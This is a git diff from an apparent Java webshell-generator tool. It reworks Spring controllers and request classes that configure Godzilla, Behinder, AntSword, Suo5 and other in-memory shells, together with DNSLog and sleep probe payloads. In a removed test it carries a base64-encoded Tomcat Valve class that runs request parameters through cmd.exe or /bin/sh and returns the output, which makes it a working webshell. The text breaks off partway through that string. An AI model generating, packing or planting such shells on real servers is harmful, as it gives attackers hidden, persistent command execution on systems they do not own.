GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
|
Packer packer = request.getPacker().getInstance();
|
||||||
|
if (packer instanceof JarPacker) {
|
||||||
|
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
|
||||||
|
} else if (packer instanceof AggregatePacker) {
|
||||||
|
return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
|
||||||
|
} else {
|
||||||
|
return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
-40
@@ -1,40 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.packer.AggregatePacker;
|
|
||||||
import com.reajason.javaweb.packer.JarPacker;
|
|
||||||
import com.reajason.javaweb.packer.Packer;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@RequestMapping("/api/memshell/generate")
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class MemShellGeneratorController {
|
|
||||||
@PostMapping
|
|
||||||
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
|
|
||||||
ShellConfig shellConfig = request.getShellConfig();
|
|
||||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
|
||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
|
||||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
|
||||||
Packer packer = request.getPacker().getInstance();
|
|
||||||
if (packer instanceof AggregatePacker) {
|
|
||||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
if (packer instanceof JarPacker) {
|
|
||||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
|
||||||
}
|
|
||||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-33
@@ -1,33 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
|
|
||||||
import com.reajason.javaweb.packer.AggregatePacker;
|
|
||||||
import com.reajason.javaweb.packer.Packer;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeContentConfig;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/10
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@RequestMapping("/api/probe/generate")
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class ProbeShellGeneratorController {
|
|
||||||
@PostMapping
|
|
||||||
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
|
|
||||||
ProbeConfig probeConfig = request.getProbeConfig();
|
|
||||||
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
|
|
||||||
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
|
|
||||||
Packer packer = request.getPacker().getInstance();
|
|
||||||
if (packer instanceof AggregatePacker) {
|
|
||||||
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
|
||||||
} else {
|
|
||||||
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,20 +1,10 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.entity.VersionInfo;
|
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.core.ParameterizedTypeReference;
|
|
||||||
import org.springframework.http.HttpMethod;
|
|
||||||
import org.springframework.http.HttpStatus;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
import org.springframework.web.client.RestTemplate;
|
|
||||||
import org.thymeleaf.util.StringUtils;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -22,70 +12,14 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
@RequestMapping("/api/version")
|
@RequestMapping("/version")
|
||||||
public class VersionController {
|
public class VersionController {
|
||||||
|
|
||||||
@Value("${spring.application.version}")
|
@Value("${spring.application.version}")
|
||||||
private String version;
|
String version;
|
||||||
|
|
||||||
private final RestTemplate restTemplate;
|
|
||||||
|
|
||||||
public VersionController(RestTemplate restTemplate) {
|
|
||||||
this.restTemplate = restTemplate;
|
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping
|
@GetMapping
|
||||||
public VersionInfo version() {
|
public String version() {
|
||||||
if (version.endsWith("-SNAPSHOT")) {
|
|
||||||
return VersionInfo.builder()
|
|
||||||
.currentVersion(version)
|
|
||||||
.latestVersion(version).build();
|
|
||||||
}
|
|
||||||
String latestVersion = getLatestGithubRelease();
|
|
||||||
return VersionInfo.builder()
|
|
||||||
.currentVersion(version)
|
|
||||||
.latestVersion(latestVersion)
|
|
||||||
.hasUpdate(!StringUtils.equals(version, latestVersion))
|
|
||||||
.build();
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getLatestGithubRelease() {
|
|
||||||
try {
|
|
||||||
String latestVersion = tryFetchRelease("https://api.github.com");
|
|
||||||
if (latestVersion != null) {
|
|
||||||
return latestVersion;
|
|
||||||
}
|
|
||||||
latestVersion = tryFetchRelease("https://gh.llkk.cc/https://api.github.com");
|
|
||||||
if (latestVersion != null) {
|
|
||||||
return latestVersion;
|
|
||||||
}
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
return version;
|
return version;
|
||||||
}
|
}
|
||||||
|
|
||||||
private String tryFetchRelease(String baseUrl) {
|
|
||||||
String apiUrl = String.format("%s/repos/%s/%s/releases", baseUrl, "ReaJason", "MemShellParty");
|
|
||||||
|
|
||||||
ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
|
|
||||||
apiUrl,
|
|
||||||
HttpMethod.GET,
|
|
||||||
null,
|
|
||||||
new ParameterizedTypeReference<>() {
|
|
||||||
}
|
|
||||||
);
|
|
||||||
if (response.getStatusCode() == HttpStatus.OK && response.getBody() != null) {
|
|
||||||
List<Map<String, Object>> body = response.getBody();
|
|
||||||
for (Map<String, Object> map : body) {
|
|
||||||
String targetCommitish = (String) map.get("target_commitish");
|
|
||||||
Boolean prerelease = (Boolean) map.get("prerelease");
|
|
||||||
Boolean draft = (Boolean) map.get("draft");
|
|
||||||
if ("master".equals(targetCommitish) && !prerelease && !draft) {
|
|
||||||
String tagName = (String) map.get("name");
|
|
||||||
return tagName.startsWith("v") ? tagName.substring(1) : tagName;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,70 +1,16 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import jakarta.servlet.http.HttpServletRequest;
|
|
||||||
import jakarta.servlet.http.HttpServletResponse;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
|
||||||
import org.springframework.core.io.ClassPathResource;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.util.FileCopyUtils;
|
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.InputStreamReader;
|
|
||||||
import java.nio.charset.StandardCharsets;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/19
|
* @since 2024/12/19
|
||||||
*/
|
*/
|
||||||
@Controller
|
@Controller
|
||||||
@Slf4j
|
|
||||||
public class ViewController {
|
public class ViewController {
|
||||||
@GetMapping("/")
|
@GetMapping("/")
|
||||||
public String index(){
|
public String index(){
|
||||||
return "redirect:/ui";
|
return "index";
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping({"/api/search", "/api/search.data"})
|
|
||||||
@ResponseBody
|
|
||||||
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
String relativePath = fullPath.substring(1);
|
|
||||||
return renderFileData(relativePath, response);
|
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping("/ui/**")
|
|
||||||
@SneakyThrows
|
|
||||||
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
|
||||||
return "index";
|
|
||||||
}
|
|
||||||
String docPath = fullPath.substring(4);
|
|
||||||
if (docPath.endsWith(".data")) {
|
|
||||||
return ResponseEntity.ok(renderFileData(docPath, response));
|
|
||||||
}
|
|
||||||
return docPath + "/index";
|
|
||||||
}
|
|
||||||
|
|
||||||
private String renderFileData(String relativePath, HttpServletResponse response) {
|
|
||||||
try {
|
|
||||||
String templatePath = "templates/" + relativePath;
|
|
||||||
ClassPathResource resource = new ClassPathResource(templatePath);
|
|
||||||
if (!resource.exists()) {
|
|
||||||
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
|
||||||
return "File not found: " + relativePath;
|
|
||||||
}
|
|
||||||
InputStreamReader reader = new InputStreamReader(
|
|
||||||
resource.getInputStream(),
|
|
||||||
StandardCharsets.UTF_8
|
|
||||||
);
|
|
||||||
return FileCopyUtils.copyToString(reader);
|
|
||||||
} catch (IOException e) {
|
|
||||||
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
|
|
||||||
return "Error reading file: " + e.getMessage();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,58 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packers;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class GenerateRequest {
|
||||||
|
private ShellConfig shellConfig;
|
||||||
|
private ShellToolConfigDTO shellToolConfig;
|
||||||
|
private InjectorConfig injectorConfig;
|
||||||
|
private Packers packer;
|
||||||
|
|
||||||
|
@Data
|
||||||
|
static class ShellToolConfigDTO {
|
||||||
|
private String shellClassName;
|
||||||
|
private String godzillaPass;
|
||||||
|
private String godzillaKey;
|
||||||
|
private String godzillaHeaderName;
|
||||||
|
private String godzillaHeaderValue;
|
||||||
|
private String commandParamName;
|
||||||
|
private String behinderPass;
|
||||||
|
private String behinderHeaderName;
|
||||||
|
private String behinderHeaderValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
|
if (shellConfig.getShellTool().equals(ShellTool.Godzilla)) {
|
||||||
|
return GodzillaConfig.builder()
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.pass(shellToolConfig.getGodzillaPass())
|
||||||
|
.key(shellToolConfig.getGodzillaKey())
|
||||||
|
.headerName(shellToolConfig.getGodzillaHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getGodzillaHeaderValue())
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
if (shellConfig.getShellTool().equals(ShellTool.Command)) {
|
||||||
|
return CommandConfig.builder()
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellConfig.getShellTool().equals(ShellTool.Behinder)) {
|
||||||
|
return BehinderConfig.builder()
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.pass(shellToolConfig.getBehinderPass())
|
||||||
|
.headerName(shellToolConfig.getBehinderHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getBehinderHeaderValue())
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
public class GenerateResponse {
|
||||||
|
private GenerateResult generateResult;
|
||||||
|
private String packResult;
|
||||||
|
private Map<String, String> allPackResults;
|
||||||
|
|
||||||
|
public GenerateResponse(GenerateResult generateResult, String packResult) {
|
||||||
|
this.generateResult = generateResult;
|
||||||
|
this.packResult = packResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
|
||||||
|
this.allPackResults = allPackResults;
|
||||||
|
this.generateResult = generateResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,87 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import lombok.Data;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellTool.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
public class MemShellGenerateRequest {
|
|
||||||
private ShellConfig shellConfig;
|
|
||||||
private ShellToolConfigDTO shellToolConfig;
|
|
||||||
private InjectorConfig injectorConfig;
|
|
||||||
private Packers packer;
|
|
||||||
|
|
||||||
@Data
|
|
||||||
public static class ShellToolConfigDTO {
|
|
||||||
private String shellClassName;
|
|
||||||
private String godzillaPass;
|
|
||||||
private String godzillaKey;
|
|
||||||
private String commandParamName;
|
|
||||||
private String commandTemplate;
|
|
||||||
private String behinderPass;
|
|
||||||
private String antSwordPass;
|
|
||||||
private String headerName;
|
|
||||||
private String headerValue;
|
|
||||||
private String shellClassBase64;
|
|
||||||
private String encryptor;
|
|
||||||
private String implementationClass;
|
|
||||||
}
|
|
||||||
|
|
||||||
public ShellToolConfig parseShellToolConfig() {
|
|
||||||
return switch (shellConfig.getShellTool()) {
|
|
||||||
case Godzilla -> GodzillaConfig.builder()
|
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
|
||||||
.pass(shellToolConfig.getGodzillaPass())
|
|
||||||
.key(shellToolConfig.getGodzillaKey())
|
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.build();
|
|
||||||
case Behinder -> BehinderConfig.builder()
|
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
|
||||||
.pass(shellToolConfig.getBehinderPass())
|
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.build();
|
|
||||||
case Command -> CommandConfig.builder()
|
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.template(shellToolConfig.getCommandTemplate())
|
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
|
||||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
|
||||||
.build();
|
|
||||||
case Suo5, Suo5v2 -> Suo5Config.builder()
|
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.build();
|
|
||||||
case AntSword -> AntSwordConfig.builder()
|
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
|
||||||
.pass(shellToolConfig.getAntSwordPass())
|
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.build();
|
|
||||||
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.build();
|
|
||||||
case Custom -> CustomConfig.builder()
|
|
||||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
|
||||||
.build();
|
|
||||||
case Proxy -> ProxyConfig.builder()
|
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.shellClassName(shellToolConfig.shellClassName).build();
|
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
|
||||||
};
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@NoArgsConstructor
|
|
||||||
public class MemShellGenerateResponse {
|
|
||||||
private MemShellResult memShellResult;
|
|
||||||
private String packResult;
|
|
||||||
private Map<String, String> allPackResults;
|
|
||||||
|
|
||||||
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
|
|
||||||
this.memShellResult = memShellResult;
|
|
||||||
this.packResult = packResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
|
|
||||||
this.allPackResults = allPackResults;
|
|
||||||
this.memShellResult = memShellResult;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,44 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.probe.config.*;
|
|
||||||
import lombok.Data;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/10
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
public class ProbeShellGenerateRequest {
|
|
||||||
private ProbeConfig probeConfig;
|
|
||||||
private ProbeContentConfigDTO probeContentConfig;
|
|
||||||
private Packers packer;
|
|
||||||
|
|
||||||
@Data
|
|
||||||
static class ProbeContentConfigDTO {
|
|
||||||
private String host;
|
|
||||||
private int seconds;
|
|
||||||
private String server;
|
|
||||||
private String sleepServer;
|
|
||||||
private String reqParamName;
|
|
||||||
private String commandTemplate;
|
|
||||||
}
|
|
||||||
|
|
||||||
public ProbeContentConfig parseProbeContentConfig() {
|
|
||||||
return switch (probeConfig.getProbeMethod()) {
|
|
||||||
case DNSLog -> DnsLogConfig.builder()
|
|
||||||
.host(probeContentConfig.host)
|
|
||||||
.build();
|
|
||||||
case Sleep -> SleepConfig.builder()
|
|
||||||
.seconds(probeContentConfig.seconds)
|
|
||||||
.server(probeContentConfig.sleepServer)
|
|
||||||
.build();
|
|
||||||
case ResponseBody -> ResponseBodyConfig.builder()
|
|
||||||
.reqParamName(probeContentConfig.reqParamName)
|
|
||||||
.commandTemplate(probeContentConfig.commandTemplate)
|
|
||||||
.server(probeContentConfig.server)
|
|
||||||
.build();
|
|
||||||
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
|
||||||
};
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/10
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@NoArgsConstructor
|
|
||||||
public class ProbeShellGenerateResponse {
|
|
||||||
private ProbeShellResult probeShellResult;
|
|
||||||
private String packResult;
|
|
||||||
private Map<String, String> allPackResults;
|
|
||||||
|
|
||||||
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
|
|
||||||
this.probeShellResult = probeShellResult;
|
|
||||||
this.packResult = packResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
|
|
||||||
this.allPackResults = allPackResults;
|
|
||||||
this.probeShellResult = probeShellResult;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -11,7 +11,7 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
public class Config {
|
public class Config {
|
||||||
private Map<String, List<String>> servers;
|
private List<String> servers;
|
||||||
private Map<String, Map<?, ?>> core;
|
private Map<String, Map<?, ?>> core;
|
||||||
private List<String> packers;
|
private List<String> packers;
|
||||||
}
|
}
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.entity;
|
|
||||||
|
|
||||||
import lombok.Builder;
|
|
||||||
import lombok.Data;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@Builder
|
|
||||||
public class VersionInfo {
|
|
||||||
private String currentVersion;
|
|
||||||
private String latestVersion;
|
|
||||||
private boolean hasUpdate;
|
|
||||||
}
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.vo;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
|
||||||
import lombok.Data;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/5/25
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
public class CommandConfigVO {
|
|
||||||
private List<CommandConfig.Encryptor> encryptors;
|
|
||||||
private List<CommandConfig.ImplementationClass> implementationClasses;
|
|
||||||
}
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.vo;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2026/6/27
|
|
||||||
*/
|
|
||||||
public record PackerVO(String name, List<String> children) {
|
|
||||||
}
|
|
||||||
@@ -1,7 +1,4 @@
|
|||||||
spring:
|
spring:
|
||||||
application:
|
application:
|
||||||
name: boot
|
name: boot
|
||||||
version: ${version}
|
version: ${version}
|
||||||
mvc:
|
|
||||||
pathmatch:
|
|
||||||
matching-strategy: ant_path_matcher
|
|
||||||
-18
@@ -1,18 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/11/10
|
|
||||||
*/
|
|
||||||
class ClassNameParseControllerTest {
|
|
||||||
@Test
|
|
||||||
void test(){
|
|
||||||
ClassNameParseController classNameParseController = new ClassNameParseController();
|
|
||||||
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFu